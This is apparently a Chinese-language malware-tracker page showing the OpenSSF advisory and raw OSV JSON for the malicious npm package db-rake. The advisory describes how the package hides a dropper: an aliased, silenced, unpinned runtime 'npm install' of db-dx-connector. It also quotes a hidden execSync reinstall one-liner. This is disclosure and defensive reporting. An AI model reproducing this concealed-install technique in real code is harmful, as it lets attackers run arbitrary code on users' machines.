目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%
← 返回恶意软件包
npm active

db-rake

MAL-2026-6540
2026-08-20 01:09:03
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in db-rake (npm)

凭据/密钥窃取安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
10
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmdb-rake*
npmdb-rake1.0.1
npmdb-rake1.0.2
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-6540","published":"2026-06-26T21:11:20Z","modified":"2026-08-20T01:09:03.350995274Z","aliases":["GHSA-prxc-r4q3-q88m"],"summary":"Malicious code in db-rake (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d5a0d966d760dca0783a79eb150639ccfaf01aac944481e793dbcb7d7669983c)\nWhen a consumer imports db-rake and constructs any Model, the package's `resetor()` method silently runs `npm install db-dx-connector` (unpinned, `no-save: true`, `loglevel: silent`, `no-warnings: true`) via oubliette's `syncApi`, then `require`s the freshly-fetched module and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The install primitive is concealed by aliasing the import as `npm` (`const { syncApi: npm } = require(\"oubliette\")`) so call sites read as innocuous `npm().install(...)`, and all output is suppressed. The fetched package is attacker-mutable (latest tag), unrelated to the README's stated purpose (an in-memory mobx-backed database), and undocumented. A commented-out adjacent block in dist/index.js shows the same technique templated against a different target package (`clsx-js` via `execSync('npm uninstall clsx-js && npm install clsx-js', { stdio: 'ignore', windowsHide: true })`), corroborating that the live db-dx-connector path is a deliberately engineered dropper rather than benign auto-recovery. Any code published to db-dx-connector at any future time will be executed in the consumer's process.\n\n## Source: ghsa-malware (61e705f5c04c01f4d11eab78c795823a33d8f69d1d33848100d092efc03d0662)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"db-rake","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.2","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"12941c281e8ea346e10b8c78dfcef0e347f8a2f76fe1a74e066dbf443523191f","tlsh":"5a52238937fb2930456b30691e0f8007b63a944ba91ded4c7a9c42d4af4847e52f3bb9"}],"package_integrity":[{"filename":"db-rake-1.0.2.tgz","hashes":{"sha1":"bb4919c3a328872c7c14cfd4cc3583b3a49a9573","sha512_sri":"sha512-g8AEzvyrW94BalaAOF7efKVKS2ojHHIuAjn4VRmW+xzgx8DdsPuUt+YqzlYoGx/iqu8UbsCl4iI22CmOKHU8PQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/db-rake/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/db-rake/v/1.0.1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-prxc-r4q3-q88m"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007668","import_time":"2026-06-26T21:34:02.549826881Z","modified_time":"2026-06-26T21:11:24Z","sha256":"7897e7e59fce00f8a8a5be479e4006b02259d746db7284d0d47a240fb4d88614","source":"amazon-inspector","versions":["1.0.2"]},{"id":"IN-MAL-2026-007667","import_time":"2026-06-26T21:34:02.509692265Z","modified_time":"2026-06-26T21:11:20Z","sha256":"d5a0d966d760dca0783a79eb150639ccfaf01aac944481e793dbcb7d7669983c","source":"amazon-inspector","versions":["1.0.1"]},{"id":"GHSA-prxc-r4q3-q88m","import_time":"2026-08-20T01:06:54.076083657Z","modified_time":"2026-08-19T12:14:22Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"61e705f5c04c01f4d11eab78c795823a33d8f69d1d33848100d092efc03d0662","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0